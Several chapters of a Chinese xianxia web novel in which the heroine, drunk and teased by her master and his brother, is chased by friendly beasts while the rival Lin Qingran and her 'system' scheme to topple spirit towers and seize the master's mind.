又听云为泽说什么:那两只蛐蛐叫的还挺大声,恐怕是在谈情说爱…… 方才来时见松果掉了一地,不捡很是可惜…… 那棵柳树上栖着一窝鸟儿,夫妻俩带五个娃儿…… 别说花不休,江献晚都听沉默了。 她没想到云为泽竟然是个碎嘴子,这么能聊。 还很闲。 从这里的一花一草,聊到灵剑如何锻造、太虚宗的灵兽吃的多、那一亩亩灵田每天需要拔草…… 她听的,脸……都枕麻了。 甚至开始怪花美人腹肌太硬。 一面又感叹花美人的腹肌够辣够性感,尤其腹部那颗小痣,添香添色。 她贴在上面,随着他的呼吸,上下极细微的起伏。 除了难受,还是难受。 且有一种,想要去看他下半身的执着。 江献晚竭力忽视脑子中‘深海巨鲸、撼天摇地’,八个大字。 既要守着徒儿该有的道德和节操,云为泽又嘚吧个没完,看起来大有一副,与自家兄弟促膝长谈,彻夜不眠的架势。 花不休也不阻他,只一味的喝酒,偶尔轻应一声,算作回答。 给江献晚都听的感动坏了。 这俩兄弟……感情可真好。 江献晚欲哭无泪,几次示意花不休找借口离开,然,后者根本不看她。 更对她的戳戳点点,浑不自知一般。 江献晚又戳了一下他的小痣,绝望摆烂。 并试图转移一下总忍不住瞅花美人腹肌的注意力。 闻着空气中清淡的酒香,咽了咽口水,拿手又悄悄戳了一下花不休……张开了嘴。 啊? 花不休:“……” 搭在膝头的手肘一落,瓶口一歪。 江献晚凑上去喝了一口。 云为泽:“……” 他五指微蜷,虚虚掩了掩唇瓣,努力将目光投向远处林间。 眼角余光却始终注意着另一边。 帝隐方才也想跟着来的,但觉得他们兄弟二人可能有话要说,转身去查看结界。 云为泽委实不敢想,四人在水潭中坦诚相见的模样。 心中又忍不住生出一种复杂,和一点微妙的感觉。 凤仪的心思他如何不知。 对江献晚来说,凤仪又何尝不是最特别的那个。 师徒之名是屏障,却也只是时间问题,和一个打破壁垒的点而已。 这般细细想下去,难免想到那晚他们在江献晚院子,她说的那句“两个自然吃的下”。 云为泽只觉耳根子有些热,眸光一斜,又瞥了他哥一眼,似乎根本未发觉他哥明明只饮了几口,酒却很快没了的奇怪。 顺手再递给他一壶。 “尝尝这个,甜的。” 劲头很足很足的灵酒,他的珍藏。 江献晚酒量虽不错,不过…… 云为泽咬了咬唇瓣。 不知她此刻是何种模样。 该不是……没穿吧…… 待会儿喝醉了,又是什么模样…… 花不休低眸看着手中那壶,看似寻常,实则化神期修为的修士喝上一口,就能撂倒的酒,不悦地斜乜向云为泽。 自然知晓此举何意。 他与江献晚之间,到底有着师徒名分,南北两境是有许多师徒合籍的例子不假。 可…… 江献晚不知他心意,只将他当作师尊而已。 花不休睫帘轻落,眸光渐渐黯然。 他也不知何时对自己的徒儿起了不堪的念想。 兴许,在破山头时,故意逗她伸爪子,由着她拱火使坏水…… 就在这时,孽徒凑过唇,又抿了一口。 花不休:“……” 他那方才喝了两壶酒,眼神还很精明的孽徒,随着这几口酒下肚,眸中的焦距,涣散的那叫一个飞快,睫毛肉眼可见蔫蔫的耷拉下来。 娇艳欲滴的红唇轻轻启着,吐出来的酒气,熏的他腹部一阵阵发烫,烧起来一般。 云为泽侧耳细听了动静,抿着唇笑。 这会儿倒是不在意他哥时不时冷冷剜来,想将他身上印子都剜掉的冷漠眼光。 偏头笑着道:“醉了?” 他记得,江献晚说过他几次……小趴菜。 他问的是谁,花不休心知肚明,不紧不慢压下孽徒凑向酒壶的脑瓜。 “云为泽,没有下次。” 他吐字冷峭。 没有丝毫温度。 眼角眉梢,已是浅薄的愠色。 云为泽薄唇含笑,不见半分着恼,很轻易听出其中压抑的心绪。 缓慢直起身,转过一步。 那伏在凤仪腹部,身着小衣的江献晚,便全然落入他眼中。 她睫毛半阖,一只手放松的搭在凤仪心口。 许是察觉酒意上头,神智直往下坠,懊恼的咬了一下指节,却控制不住眸光一再涣散,昏昏欲睡。 望着那覆着一层桃色,在昏暗的阴影中愈发显得摄人心魄的半张面颊,云为泽有瞬间的恍惚。 他不敢想,若是江献晚不来哄他,他的道心,是不是已经悄无声息的碎了。 云为泽面部线条禁不住的柔软,指尖轻轻拂去她鬓角的发丝,擦过那双湿濡的柔软唇瓣。 “哥,你就不想知道她的想法么?”他忽然轻声道。 花不休眼睑微动。 静眼瞧着云为泽唇角挂着一抹从未有过的柔软弧度,一面力度小心的轻捏了一下江献晚的面颊。 不欲作声。 却见他又压低头颅,凑近江献晚。 浅笑轻唤。 情人间的低喃。 “晚晚。” “晚晚……” 待江献晚缓缓掀起睫毛,眼角眉梢光华激艳,“我是谁?” 他那孽徒瞧了云为泽片刻,吐字模糊,却乖乖软声道:“云为泽。” “云为泽,是,谁的?” “唔……我的。” “那,他是谁?” 云为泽突然一指花不休,花不休呼吸凝滞,十指猝然收拢,望进一双雾气朦胧的眼睛。 但听。 带着坏笑的模糊一声。 江献晚轻轻蹭了蹭他。 “花美人啊。” 花不休:“……” 云为泽抿唇轻笑,低低的语气,半是轻哄,半是引诱。 “那,他是谁的?” 第 263 章 要干就干大的 六宗高层观察半天,一合计,没有再派弟子进入虚古境巡视,而是留了两个弟子,盯着灵幕里的异兽即可。 林轻染回到房间,凝视着桌案上静静躺着的长剑,双眼怒火闪烁,胸脯一阵剧烈起伏。 她的剑,竟然送给了江献晚一道剑意! 想到这里,不由得攥紧拳头,眼中迸射出愈发恼火的戾气,恨不得把自己的灵剑给撅折了。 你说你贱不贱! 手咋那么快? 偏偏送的是她最讨厌的江献晚! 这与打她的脸,又有什么区别! 剑灵被责怪,剑身上的光芒刹那间黯淡下去,无一丝灵动色泽。 感受到剑灵传递来的巨大波动,林轻染狰狞的面庞,以一种极扭曲的线条僵滞住。 不是,这就跟她离心了? 是她说的不对吗? 自己的剑送给别人剑意,她不该责怪它吗? 难不成要她笑吗? 林轻染根本笑不出来,双手气的直发抖。 修士最忌与自己的本命灵剑产生分歧,只得压着怒火,耐着性子哄了它几句。 “系统,那些异兽都散去了吗?” “并未。” 林轻染嗓音嘶哑,微红的眸,崩溃之色愈发显著。 她如何没察觉到那些异兽对江献晚表现出来的亲昵和讨好。 她不明白。 不明白连头异兽都独独偏向于她! 林轻染喉头哽涩,心中是随时要失控的怒火。 “那我们现在该怎么办?” “所有的人都喜欢她,连只异兽都偏向她,那我呢?” “她一次次出尽了风头,这样下去,就算我成了界皇,又有什么用!” 她实在无法忍受江献晚万众瞩目,处处压她一头,得意忘形的模样! 那些,本来该是她的啊! 她既然是大女主,为何这世界要多出一个江献晚,处处来阻她的路? 林轻染音调陡然拔高,双眸汲的一片通红,掩面哭出了声。 “为什么会变成这样,被讨厌的人明明该是她才对……” “我该怎么办……” “我现在又该怎么办……” 系统半晌没能回答出她的问题。 它同样能体会这种落差感,曾经还没有江献晚时,他们在万古宗,走到哪不是受欢迎的存在。 如鱼得水,春风得意。 而现在呢? 别说其他五宗,就是万古宗上下,对林轻染都有很大的意见,那一个个嫌弃的白眼,像是剜在它身上一样。 湿冷的声音带着几分病态的阴翳,冰冷冷道:“想让他们喜欢你,那还不简单?” “明日我助你将那几个弟子体内的死气拔除。” 它说着,嗤声一笑,“再用这些死气对付花不休如何?到时候死气入体,我便可以轻松操控他的神智,你恰巧出现,以炉鼎之身为他清化那些死气。” 系统心中已有计较,环环相扣。 这两日,又多了几个被死气入体的弟子,有南境的,也有北境的。 明长老他们仍是束手无措,到现在还在不停的试药。 “你说,那几个弟子的宗门会不会感激于你,花不休会不会感激于你?” “这样一来,南北两境会承你一个天大的恩情。” “江献晚她不是很得意吗?” “我倒要看看她对着你喊师娘的时候,还能笑不笑的出来?” “倘若再毁几座灵塔,那些异兽失去神智,还会认得出她是谁吗?” 单单江献晚被异兽追着跑,是很古怪。 它想不出缘由。 但,这些不妨事。 凤仪剑尊,一人撑着南北两境的半边天,他若倒下,等同两境失去一半支柱。 林轻染只待等一个契机。 要干就干大的。 吸收几座灵塔之力,使虚古境大乱,花不休又生死一线。 那样一种境地下,林轻染装作无辜者的姿态出现,拯救他于水火,恰巧被其他宗的人看到,便能使花不休不得不庇护于她! 灵塔的灵力也能助他快速修补厄弓器灵! 它原本想暂缓几日,眼下却也不想再处于被迫的境地。 望着她逐渐安静下来,慢慢挺直脊背,眸中重新燃起希冀,再为她注入一剂强心剂。 “灵塔倒,异兽暴乱,六宗亲传皆要冲在最前,饶她江献晚神仙在世,也休想全身而退!” 它没说的是,待厄弓器灵苏醒,它便打算以厄弓作为掩护,动用仙力,杀了江献晚! 让她彻彻底底消失在这个世界。 第 264 章 犯了天条 江献晚人还没醒,肉体被花不休从温暖的被窝,提拎了出来。 她脑袋一点一点,惺忪的睡眼,先是看到表情浅淡的花美人。 在看不远处被几个弟子众星拱月围在中间的林轻染,懵逼的表情愈发懵逼。 不是。 日头这么高了? 晌午了? 她怎么回来的? 她什么时候回来的? 林轻染笑的怎么那么开心? 发生什么大喜事了? 她成界皇了? 还是死气……嗯? 她好像把那几个弟子给治好了…… 牛逼。 江献晚在花不休腿上,慢慢翕和了一下睫毛,宿醉后仍有些昏沉的神智,浮浮又沉沉。 她记得她明明还在跟花美人抢酒……怎么就天亮了。 江献晚迷迷瞪瞪,从一片布料下仰起脸,努力去瞅云为泽。 云为泽色若春晓之花,宽大的袖袍自然垂落,如同寂静的羽翼,纹丝不动,双手便笼在袖中,只露出几根修长的手指。 那手指……松了紧,紧了松? 半遮的眼帘,眉心也是松了紧,紧了松? 一副沉浸在纠结中,快要碎了的表情? 他身侧,北帝尊雪衣银发,身似仙鹤之姿,宛如雪中月照。 不偏不倚,看一眼她,看一眼云为泽,再看一眼花不休。 循环往复,欲言又止,琉璃玉眸盛满了好奇。 江献晚:“……” 她看懂了,帝隐在好奇,她是怎么一下重创了两个兄弟…… 别说,一觉醒来,云为泽道心又不行了? 花不休脸色怎么又红又绿,偶尔还带咬牙切齿的? 江献晚还未开机的大脑,又是一阵死机。 缓缓缩了缩脖儿,面颊贴着花美人腿儿,慢慢垂下脑瓜子,看自个穿戴整齐的衣裙。 她衣裳是怎么穿上的? 什么时候穿上的? 谁给穿上的? 她又是怎么睡着的? 昨晚发生了什么? 云为泽发现她了? 兄弟二人为她大打出手了? 她魅力这么大吗? 自个又是如何重创的他俩? 这仨一个个,都在合计什么呢? 还有,她怎么感觉花美人气场跟全开了一般,两条腿都绷成弦了? 江献晚偷偷摸摸抠着手指头,脑子里写满大大的问号。 云为泽咬着唇肉,绯薄的唇压的有些泛白,木然且幽怨的眸光,绞着那片青色衣袖下,毛茸茸的脑瓜,眼睛都不带眨一下。 他真的很想知道。 什么叫: “师尊,徒儿的屁股硌的好痛。” “我要云为泽抱。” 云为泽:“……” 上一句,他可以理解。 下一句,说真的,有一点,他不是很能理解。 想想都要碎了。 他再大度,面前人再是他哥,他心中也有私欲,欢喜江献晚伸着胳膊,要他抱的依恋。 可…… 难道他就……硌的她不痛? 是谁握不住他,耍性子,一再想撒手? 她昨晚哪里有认真对比了…… 话说的,这么草率的吗? 云为泽吐出一口长气,重重捏了一下额角,竟似有两分想了一整夜都没想明白的疲倦。 真的,天都亮了,太阳都晒屁股了,他都没睡着。 那两句,反复将他拖出来……鞭尸。 鞭的他,体无完肤,直想躺尸。 花不休眸光微微一转,扫向衣袖下还在神游天外的孽徒,思绪一下被拉回昨晚。 孽徒蹬着他的双腿,歪歪扭扭爬到他身上,一双宛如最上好的脂膏的手,攀了他的肩颈。 濛着一层雾气的眸,努力瞧了他片刻,嗓音是醉酒的娇憨。 模模糊糊蹦出一个字。 “我……” 他心音戛然而止,眼底似有灼热的火星胡乱飞溅,甚至忘记云为泽在,双手牢牢扣了孽徒的细腰。 屏息细细聆听…… 花不休睫毛忽然颤了几下,有气无力的闭了一下眼。 想到孽徒因屁股痛,话锋一转,简直像将他摁在削铁如泥的刀锋上,反复、使劲摩擦。 偏他那好弟弟懵罢,起了胜负欲,苍白着脸,捧了孽徒的脸。 摇摇欲坠。 气若游丝。 “什么叫他硌的痛……” “什么是他硌的痛……” “晚晚……晚晚……你说话!” 看起来,拉着他当场让孽徒好好对比一番的心都有了。 花不休:“……” 瞅瞅,这就是他收的孽徒。 手段狠辣,招数高明。 那叫一个翻手为云覆手为雨,谈笑风生间,将几个男人,玩的跟特么傻狗似的。 顶着两道怨念颇深的视线,江献晚还在瞅自个的衣裳,直到帝隐的手指悄悄探来,指尖勾去她唇瓣上一根头发丝。 睫毛一抬,对上一双柔软噙笑的琉璃眸。 懂了。 哦,帝隐给她穿的衣裳。 江献晚:“……” 嗯? 谁给她穿的衣裳? 江献晚张了张嘴,一阵啪啪啪的激烈掌声骤然响起。 头猛地一扭,双眼懵懵往右一划,发现草地上还站着一大片人! 一眼扫过,时云霄、秦秦、裴长安、何未语、修言、师兄他们…… 各个眼神说不出的亢奋。 还有一致高举双手,目光灼灼瞅着她的……六宗高层。 就连林轻染都在……对她笑? 江献晚慢吞吞揉了一下眼,准备再好好看一看这个世界。 眼还没揉完,被花不休挂在颈子间一块投影功能的灵石,拎了脖儿,从腿上撕下来。 当着六宗的面,扔进了虚古境。 江献晚:“……” 出其不意的一招,使她两只模糊的眼睛,霎时睁的滚圆,也将这整个世界全看清了! 修言朝她双手合十,扯着嗓子,悲痛地嘶吼哀悼,“江师妹,一路走好!” “来生我们还是穿一条裤子的小伙伴!” 江献晚:“……” 一晚不见,她是犯了天条吗? 不就是跟俩男人洗了个澡,帝隐给她穿了身衣裳,至于拉到六宗面前,将她杀了吗? 过分了! 江献晚一脸震惊中,身体在空中划出一道漂亮的弧线。 送她上路的修言,则马不停蹄的得到何未语、苏清流、白子夜、林玉锦四个肘击。 何未语:“不会说话,就把嘴闭上!” 她还没看够,江师妹怎么可以死! 刚才北帝尊是拿指尖沾了沾江师妹的唇吧? 嘿嘿,江师妹还抱着凤仪剑尊的腿儿,又被他们家帝尊直勾勾盯着。 真就给人看爽了。 时云霄心里很不爽,想了想,两步跨过来,将爬起来的修言一个肘击,肘翻在地。 “你才一路走好!” “去死吧!” 江献晚再狗,那也是他师妹好吧? 没听过祸害遗千年? 他自己咋不走好! 修言:“……”他就是那么一说,怎么了嘛。 六宗:“……”心累,六宗的未来,也就这样了。 只有江献晚觉得修言挨的打,好像真的有点亏。 因为! 她可能……确实要迎来她的来生了! 眼神清明的刹那,江献晚震惊的脸刷地一下绿了! 望着底下各个仰着脑瓜,拿一种星星眼神欢迎她归来的乌泱泱的异兽。 一个激灵,瞬间脉动回来! “卧槽——!” 江献晚脱口一个卧槽,嗷地一声惨叫,在空中飞快高难度一拧身,几个点脚起伏。 闪电般,嗖地一下,一阵风刮出异兽包围圈。 她昨晚还真有可能犯了天条! 云为泽定然早就发现了她。 这个隐藏碎嘴子,也太狗了吧! 竟然故意拿后劲大的酒,灌醉她。 江献晚来不及细想后面到底发生了什么,一下重创了两个男人。 被两头异兽舔了屁股,又是嗷地一声,加速! 望着黑压压,压过去的兽潮,扬起一溜烟漫天尘土。 还有那一连串“啊啊啊啊啊啊!”的兴奋大叫。 盘腿坐在地上,嗑起瓜子的六宗,忍不住啪啪鼓了一连串掌。 “还得是她!” “跑的就是快!” “看见没?以后跑路,记得多向江献晚学习!” “收到!” 第 265 章 炫一剑 林玉锦却显得有些忧伤,从手心捏了颗瓜子,狠狠一咬,小声气愤道:“瞎眼吧?这搁谁谁不撒丫子跑?” “天打雷劈的花美人,我小师妹还没睡醒呢!就他这样,还想上位?” “上天吧他!” 语气一转,双手捧了脸蛋,露出荡漾而骄傲的表情,“嘿嘿,别说,小师妹跑路的速度又精进了。” 白子夜一歪脑瓜,笑的温润如玉,“嘻!都跑出残影了。” “追不上,根本追不上。” 苏清流:“……”你俩是人吗? 不过……小师妹跑的确实很快。(òωó?) 江献晚敢不跑快吗? 一柱香的功夫,足足绕着周围的树木狂奔了十几圈,酒精都代谢没了! 她一边恨恨抹了把脸,嘴里骂骂咧咧,旋身落在高高的树杈上。 提气。 “等等——!!!” “等等在此——!!!” 她话音还没落,又是一声比她还大声的清脆回应。 墓碑:“……”这破剑是个二逼吧? 前脚刚被它补好,眼睛还没睁开的等等,剑身刷地一下竖起! 在芥子囊中的大床上兴奋的蹦了几下! “等等在此!等等在此哇——!” 跟着它一块弹跳的墓碑:“……”傻逼。 江献晚:“……”不是喊你啊大袜子! 该说不说,一夜不见,‘等等’修复好了? 江献晚依旧来不及想,随着她一句话落,跑在最前头的一片异兽直接来了个猛刹。 在她震惊的注视下,兽潮如浪,一层涌过一层。 你压我,我压你,压成一片,嗷叫声那叫一个此起彼伏,一浪高过一浪。 江献晚摇着头,啪啪鼓了两下掌。 “甭说,刹的那叫一个快准狠。” 前面的高阶异兽气的想跳脚,还跳不了,一个劲儿仰着脖子,发出不悦的嘶吼。 滚、下、去!!! 敢拿大屁股坐它们的脸! 头上的兽兽连滚带爬,从异兽堆上纷纷滚下去,飞快找到空位,小心翼翼地坐端正。 妈的,这群高阶兽,疯起来跟特么死气又发作似的。 一口一个,一口一个。 都不怕被塞牙的。 江献晚看的属实心累,扑通在树杈上坐下,“别追了,咱就是说,有什么事不能好好谈?” 大晌午的,还让不让人睡了! 异兽:“……” 她还想睡? 她能先把眼睛再睁大一点吗? 再说,是它们想追的吗? 还不她一看见它们就跑? 它们是什么很不讲道理,一言不合,就吃人的兽吗? 虽然……是的。 不过,话说回来,奔跑的感觉……真他娘的爽。 它们昨天跑了几十大圈,聊到后半夜,睡觉都香了。 真就,还想再来几十圈。 但,兽兽们显然没忘记正事。 一只蓝异鸟忽然被最前方几只高阶异兽顶了出来。 一人一鸟对视三秒,江献晚唇角一抽,用灵力将它捞了过来,“蓝宝,你怎么也在?” 众兽狂喜:这俩还真是有交情! 蓝宝享受着万兽瞩目的洗礼,先是骄傲地挺挺胸脯,随后低头轻轻啄了一下江献晚的手指,以示亲昵。 俩眼珠子得意一斜。 看吧,她跟我好! 我可不是白收你们的礼的! 异兽:“……”看到了,没白给。 江献晚:“……”不是,你咋看起来,这么骄傲呢? 她盯着手舞足蹈,翅膀扇出花,一会儿作僵硬癫狂,攻击厮杀状,一会儿活泼翩翩起舞的蓝色异鸟,唇角又是抽搐。 提起精神,迅速进入状态。 “你是说,它们先是染了死气,变成这个样子,最后又好了些?” “叽!”蓝宝一点头,底下的异兽也跟着点头附和。 对! 就是这样! 江献晚茫然地将手一摊,“这是大家有目共睹的啊!” 不然,他们六宗待在这里,整这么多灵塔干啥? 兴趣爱好吗? 众兽:“……”关键是它们没好利索啊! 虚古境那么多死气,它们就算现在能好利索,也会很快再次被死气控制。 蓝宝在几只高阶异兽催促下,拿利喙又轻轻啄了啄她。 底下最前方的异兽跟着团团转,甚至为了能让她看懂,有一头异兽学着人族的样子,两爪抬起,作了作揖。 江献晚看的眼花缭乱,手撑着额头,“等等,你们让我想想。” 众兽安静。 江献晚想了一下,抬眸,“你们想让我们把虚古境所有的死气尽快净化?” 众兽还没来得及欣喜,却见她拍拍胸脯安慰道:“放心,这事儿包在我们身上!死气一定会慢慢消失,你们也会好起来的!” 众兽:“……” 为什么要慢慢消失,快点消失不行吗? 它们知道灵塔和那些大阵有用,可她不是更快吗? 兽兽们不愿意了,各个又是一阵连比带划,看的江献晚一愣一愣,又一愣。 指了指鼻尖,不可思议地瞪大眸子,“你们要我来?还要我现在把死气净化完?!” 开什么玩笑。 她有时候是挺会装的,但也没这么能装啊! 话音方落,此起彼伏的吼声登时响彻云霄,似乎在庆祝,她终于……看懂了! 江献晚无语凝噎,指尖从上至下,对着自己一划拉,“各位兽兽大人,我只是个化神!” 这么广袤的虚古境,花美人他仨一下子都解决不了的死气,她一个化神,解决什么? “……啥?你们说我可以?” “不是,我哪里可以?” “我特么怎么清啊?” 江献晚召出轮盘,欲欲跃试,“难不成是这个?成!我再给你们炫一剑!” “唉唉,有话好说,不是,不是,我再给你们看个东西,你们看……唉!不是打架啊!” “喂!等……嗷——!” 兽兽们:嗷什么嗷! 她还想炫一剑? 它们是让她清死气,她却想清了它们? 过分了哈。 刚被掏出来的墓碑:“……” 望着突然谈崩,再次奔涌而过的异兽,和撒丫子狂奔的江献晚,原本屏住呼吸的六宗,顷刻间又是沸腾。 “江师妹可以清化那些死气?” “她是不是理解错它们的意思了?” “那不能够!屎壳郎她都能聊?我觉得不会错。” “对!江师妹绝对不可能看错!”何未语大声道。 “不过,这些异兽怎么说她能净化死气?” “难不成是因为昨天跑了几十圈,身体都跑软了,所以……还想找个人陪跑?” 被死气入体,无论是人还是异兽,四肢会出现退化僵硬的症状。 昨个江献晚遛着它们跑了大几十圈,经过六宗观察,那些异兽四肢都变的灵活了些。 六宗:“……” 这么一说,还真别说! 修言瘪瘪嘴,有些幽怨,“那它们为什么只找江师妹,不找我们?” 原是他不配! 明长老:“那不能够,跑几圈就能净化死气,我们早跑了,还等着你们这群兔崽子来跑?” “这些异兽该不会是觉得,跑跑就能把死气跑没吧?” 那肯定不是啊! 它们又不是傻子! 不过,越追越兴奋,越追越有劲的兽兽们,在放纵奔跑中,逐渐忘了死气的事。 这一刻觉得浑身有使不完的力气,躯体似乎又灵活了不少。 顿时,跑的那叫一个放荡不羁、欲罢不能! 停不下,根本停不下。 没一个听江献晚苦口婆心,想跟它们再好好聊聊的要求,撒腿跟在屁股后面尽情狂奔。 甚至,那几头跑在最前方的高阶异兽,每当发现她速度慢下来,故意张开血盆大口,作势咬她屁股。 要么就拿舌头,去舔她。 不跑怎么行? 它们眼巴巴等了她一晚上,又望眼欲穿瞅了大半天。 修为低的异兽一圈圈兜下来,体力逐渐耗尽,不停有脱离长跑队伍的,干脆肚皮一翻,原地调整。 江献晚还在拼命奔跑。 她一头绸缎似的长发早已散开,乳白色的骨簪被她颠的受不了,一头扎进她袖中。 望着那抹离去的背影,林轻染唇角露出一抹既狰狞又嫉恨的冷笑,转身回到房间。 她放松的靠在浴桶中,旁边矮凳上搁着特意准备的轻薄纱衣,似乎并不太在乎医治好那几个弟子,很快再次消失的短暂光环。 悠然的掬起一捧花瓣水,轻轻从肩头淋下,肌肤显得愈发莹白娇嫩。 系统嗤声冷笑,“还真是犹如天助,待她筋疲力竭,我便吸取灵塔灵力,虚古境大半的异兽都在跟前,想想,还真是……啧。” 它发出一声不怀好意的愉悦腔调儿,又道:“虚古境一乱,我便趁机控制他的神识,将死气弄进他体内。” “接下来,就是重头戏。” “花不休定然会摁着自己咽下这个闷亏。” 听到这儿,本来还在笑的林轻染,不悦蹙眉。 什么叫闷亏? 她一个纯净无瑕的黄花大闺女,干净的身子都给他了。 不过,林轻染不放心,再次确定,“现在吸取灵力,你确定他们不会察觉?” 系统胜券在握:“放心,不会有任何人觉察。” “那……有那种药吗?” 她怕花不休会挣脱死气和系统的控制。 系统:“……”她玩的可真花啊。 第 266 章 有口水 胸前佩戴的灵石在奔跑中被甩在身后,歪在脖颈间,恰巧对准一片蜂拥而至的兽潮。 她这一停,一扑,原地突然水灵灵来了个关机的举动,六宗手里的瓜子都给哆嗦掉了。 花不休眸光骤然缩了一下,起身间,青衣如烟掠地,只余一抹衣袂轻颤之痕。 云为泽和帝隐抬脚的动作,因灵幕中投出来的画面止了一息,倏忽苍白的面颊,血色回涌些。 灵幕中,异兽集体来了个急刹。 最前方几个,生生在即将一脚踩上江献晚的刹那,止住庞大的身躯。 各个四脚用力扒地,屁股后撅,使出吃奶的劲,抵住后面异兽的惯性冲力。 其中一头异兽被后面的异兽猛地撞了一下,那只没抓稳地面的巨大兽掌往前一扑。 硬生生在距离江献晚脑袋不过毫厘位置,猛地撇开。 擦着她的鬓发,轰地一声,重重踩在地上。 庞大的身躯似爆发出全部力量,用力往后一顶,将后面的异兽撞翻一片。 云为泽和帝隐脸色都很不好看,宽袖中的手隐隐发抖。 身形一错,跟着踏入虚古境。 苏清流、白子夜和林玉锦脸都白了,浑身过电般,爬起一半的四肢,一息软下,摇摇晃晃,跌坐回地上。 一时,除了急促的呼吸,竟是半个字也吐露不出。 裴长安和何未语失声惊叫出来的声音,“江师……呼!吓死我了!” 劈叉的声音一顿,两人肩膀软软塌下。 修言跟时云霄也吓的不轻,两人抚着砰砰乱跳的心口,大喘气。 “就知道……就知道……” “多冒昧啊……这狗东西成功吓到劳资了,就地埋了吧。” “玩的就是心跳。” 六宗:“……”他们的心差点就不跳了好吧? 别说,年轻就是好,倒头就睡。 已老实,求放过。 希望江献晚下次向恶势力低头的时候,可以提前跟他们打个招呼。 突然露这么一手,真的很容易影响他们这些观众的心理和身体健康。 没看凤仪剑尊和两位帝尊都被她给吓到了,脸刷了白一样,各个跑的那叫比兔子都快。 刺激。 他们的邪祟,差点被异兽踩嗝屁。 花不休从未有过这种心跳骤然一停,而后再跳不动的恐惧,步履踉跄两下,停在她十步开外。 缓慢的抬起一只手,用力摁上心口。 兽兽们同样吓得不轻。 跑的好好的,她怎么招呼都不打,突然就先趴为敬了? 这样搞得它们没有一点心理和身体上的准备。 几十头高阶异兽挤来挤去,焦急地围着江献晚直转圈,这个伸出爪子扒拉一下,那个伸出爪子扒拉一下,迫切的想知道她是不是还活着。 不会累死了吧? 累死了怎么帮它们吸死气? 累死了谁来带它们遛弯? 顿时心虚后悔的不行。 都怪它们,好久没这么单纯,放纵的奔跑过。 好像一下回到小时候,爹娘带着,不用为食物发愁的快乐时光。 长大之后,每日不停的厮杀,不是在捕食,就是在被捕食的路上,哪里有机会开开心心,什么也不想的撒欢玩闹。 一只刚做母亲不久的异兽,自责而怜爱地去舔她的脑门。 瞅瞅这娃瘦的,天可怜见,在它看来,还是个小崽子呢。 江献晚:“……” 小崽子。 见过她这么大的小崽子吗? 你们要不要再母爱泛滥一点,干脆给她洗个澡得了。 脸埋在青草里,一动不动,躺尸的人影一哆嗦,反手推开它。 “有口水!” 花不休:“……” 后一步赶到的帝隐和云为泽:“……” 他们要吓哭了好吧。 自责的口水差点从眼里流出来! 三人在确定能保证江献晚安全的近距离范围,默默站定。 只是,各个的脸色仍是遏制不住,有些苍白。 兽兽们:太好了!她没死! 一只巨大毛绒的爪子,当即摁了她肩膀,开开心心……朝她脑袋狂舔了几下。 有口水舔的才顺溜! 其他异兽有样学样,纷纷热情地围过来舔她脑瓜。 吓死兽了,差点把她给压成人肉馅饼。 蓝宝:“……”制止不了一点。 这是它们大部分异兽表达爱的一种最直白的方式。 尤其这种充满母爱父爱的狂舔,还是对自个崽子的那种。 这是把江献晚当成自家崽了? 要不……它也过去舔一下? 感情深,口水闷。 江献晚头都没抬,幽幽的声线,没有一丝起伏,“蓝宝……敢伸嘴你就死定了。” 它还想把辈分来个超级加倍,当她爹? 再说,它是不是忘了自己是个鸟了? 蓝宝:“……”失望的缩回尖喙。 想起起不来,推又推不开,被迫洗个头的江献晚,绝望的把脑袋扎土里。 举手投降。 “别舔了!我给你们想办法!” 她从兽兽们充沛的口水中,感受到了一种非常沉重的父爱和母爱。 再舔下去,她脑壳都要秃了……她又得认多少干爹干妈! 兽兽们恋恋不舍又舔了她几下,这才收回爪子。 别说,她的脑瓜子,香香的。 舔起来,味道老好了。 江献晚麻木地翻个身,望着头顶阳光都穿不透的密叶,阖上了眸子。 传影灵石的角度,这下也只能照到一小片固定的位置。 兽兽们看她累了,又以为她在想办法,乖乖趴在旁边,两只异兽还将脑袋,一个搭在她一条腿上,边舔爪子边等。 左等右等,耐不住又是奔跑半天,困的翻开肚皮,很快打起了呼噜。 虚古境外,看着江献晚似迷迷糊糊挠了挠痒的手,和她旁边几头呼噜声响若天雷的异兽,从无语再到麻木。 就这么水灵灵的团睡了? 别说,她、它们,睡的还挺香。 花不休他们伫立在原地,没有去喊醒江献晚,也并未因此而敢再有一丝一毫的放松。 三双目光,一瞬不瞬望着那抹被异兽围在中间,趴在草地上,枕了一双小臂,睡的香甜的身影。 后来,每当想起这一幕,他们都忍不住后怕。 幸好,他们一直没有挪开视线。 幸好,江献晚没有受伤。 第 267 章 都在 时间将至亥时,接连几声突兀的巨大异响,传遍整个虚古境。 花不休三人的第一反应,便是以灵力裹了江献晚,拉她入怀。 异兽从睡梦中惊醒,纷纷从草地上弹跳起来,背腹拱起,作攻击警惕之态。 隐在繁郁树木中,宛如指路明灯的灵塔,有几处转眼消失在深浓漆黑的夜色。 阴稠如墨的死气,如同压抑已久的黑囊被骤然刺破,毫无征兆钻出地表,迅速形成不断膨胀、流动的阴影,无声弥漫开去。 明长老神色一变,立刻丢了手中瓜子,“灵塔!” 轰——! 又是一声。 重物倒地的巨大响动和异兽狂暴的嘶吼,一齐划破寂静的虚空,在空气里回荡。 花不休他们眼前汇聚着虚古境大半的异兽,随着死气充塞天地,几乎同一时间发狂。 发现活人气息,犹如万马奔腾,朝着四人包抄过去。 “灵塔倒了!” “异兽暴动!” “江师妹!” “帝尊!” 本在闲聊的六宗修士,纷纷起身,飞身掠入虚古境。 林轻染眸光微动,唇角浮出一抹莫名笑意,冲在最前的姿态,使得何未语愣了一下。 帝隐与云为泽双足踏碎雾丝般的黑色死气,灵力席卷而出,极为庞大的透明结界悍然拔地而起。 因灵力太过磅礴,天象异变,空气波动使得头顶的星辰仿佛移位,似要将空气撑爆。 二人指尖掐诀,快速结印,强势的将兽潮尽数困在阵法之中。 尽管如此,一层层的异兽以血肉之躯冲撞,结界薄膜灵光震荡,同样在不停消磨二人的灵力。 帝隐与云为泽纹丝不动,剑指灵光耀目,抵着无数异兽的冲力,将身后二人护的滴水不漏。 江献晚匆匆从花不休身上下来,看到这样惨烈的一幕,忍不住喊了一声,“师尊。” 花不休掌心微微收紧,将她手指全然包裹,用自己的温度暖着她有些冰凉下去的手,从容不迫的眉眼,却挟着一丝惊慌的后怕。 指腹抹去她面颊上的口水印,无声又拢紧她的手,“为师要去加固结界,你,当心,莫要逞强。” 帝隐和云为泽接下来恐怕腾不出余力。 他此去,唯一放心不下孽徒。 哪怕孽徒有通天的能力。 “师尊放心。”江献晚努力弯了弯眉眼,回握了一下他的手。 